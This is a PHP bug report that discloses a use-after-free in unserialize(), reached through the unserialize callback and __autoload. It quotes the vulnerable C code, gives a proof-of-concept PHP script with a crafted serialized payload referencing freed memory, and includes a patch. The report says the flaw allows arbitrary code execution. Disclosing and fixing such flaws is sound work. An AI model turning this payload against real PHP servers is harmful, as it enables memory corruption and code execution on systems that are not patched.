|   | php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login | 
| 
  [2015-08-08 10:23 UTC] taoguangchen at icloud dot com
 Description:
------------
i) ZVAL can be freed from memory via the process_nested_data() with a invalid serialized string.
```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
{
	while (elements-- > 0) {
		zval *key, *data, **old_data;
		...
		ALLOC_INIT_ZVAL(data);
		if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
			zval_dtor(key);
			FREE_ZVAL(key);
			zval_dtor(data);
			FREE_ZVAL(data);  <===  free memory
			return 0;
		}
```
ii) defined __autoload() function via unserialize()'s callback function, then call __autoload() function via zend_lookup_class().
```
		MAKE_STD_ZVAL(user_func);
		ZVAL_STRING(user_func, PG(unserialize_callback_func), 1);
		args[0] = &arg_func_name;
		MAKE_STD_ZVAL(arg_func_name);
		ZVAL_STRING(arg_func_name, class_name, 1);
		BG(serialize_lock)++;
		if (call_user_function_ex(CG(function_table), NULL, user_func, &retval_ptr, 1, args, 0, NULL TSRMLS_CC) != SUCCESS) {
		
		...
		
		/* The callback function may have defined the class */
		if (zend_lookup_class(class_name, len2, &pce TSRMLS_CC) == SUCCESS) {
			ce = *pce;
		} else {
```
so we can create ZVAL and free it via crafted __autoload() with deserialize invalid serialized string. then use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code.
PoC:
```
ini_set('unserialize_callback_func', 'evil');
function evil() {
	function __autoload($arg) {
		$str = 'a:1:{i:0;i:1';
		unserialize($str);
	}
}
$exploit = 'a:2:{i:0;O:4:"evil":0:{}i:1;R:4;}';
$data = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}
var_dump($data);
function ptr2str($ptr)
{
	$out = "";
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```
PatchesPull Requests
Pull requests: 
 HistoryAllCommentsChangesGit/SVN commits             | |||||||||||||||||||||||||||
|  Copyright © 2001-2025 The PHP Group All rights reserved. | Last updated: Fri Oct 31 01:00:01 2025 UTC | 
the patch for 5.4 series (maybe work on 5.5 and 5.6 series): diff --git a/php-5.4.44/var_unserializer.c b/php-5.4.44-fixed/var_unserializer.c index 8c4e629..bb35ba8 100644 --- a/php-5.4.43/var_unserializer.c +++ b/php-5.4.43-fixed/var_unserializer.c @@ -728,6 +728,7 @@ yy20: } /* The callback function may have defined the class */ + BG(serialize_lock)++; if (zend_lookup_class(class_name, len2, &pce TSRMLS_CC) == SUCCESS) { ce = *pce; } else { @@ -735,6 +736,7 @@ yy20: incomplete_class = 1; ce = PHP_IC_ENTRY; } + BG(serialize_lock)--; zval_ptr_dtor(&user_func); zval_ptr_dtor(&arg_func_name);previous PoC is work but some code is not required, so i update a new PoC: ``` ini_set('unserialize_callback_func', 'evil'); function evil() { function __autoload($arg) { $str = 'a:1:{i:0;i:1'; unserialize($str); } } $exploit = 'a:2:{i:0;O:4:"evil":0:{}i:1;R:4;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ```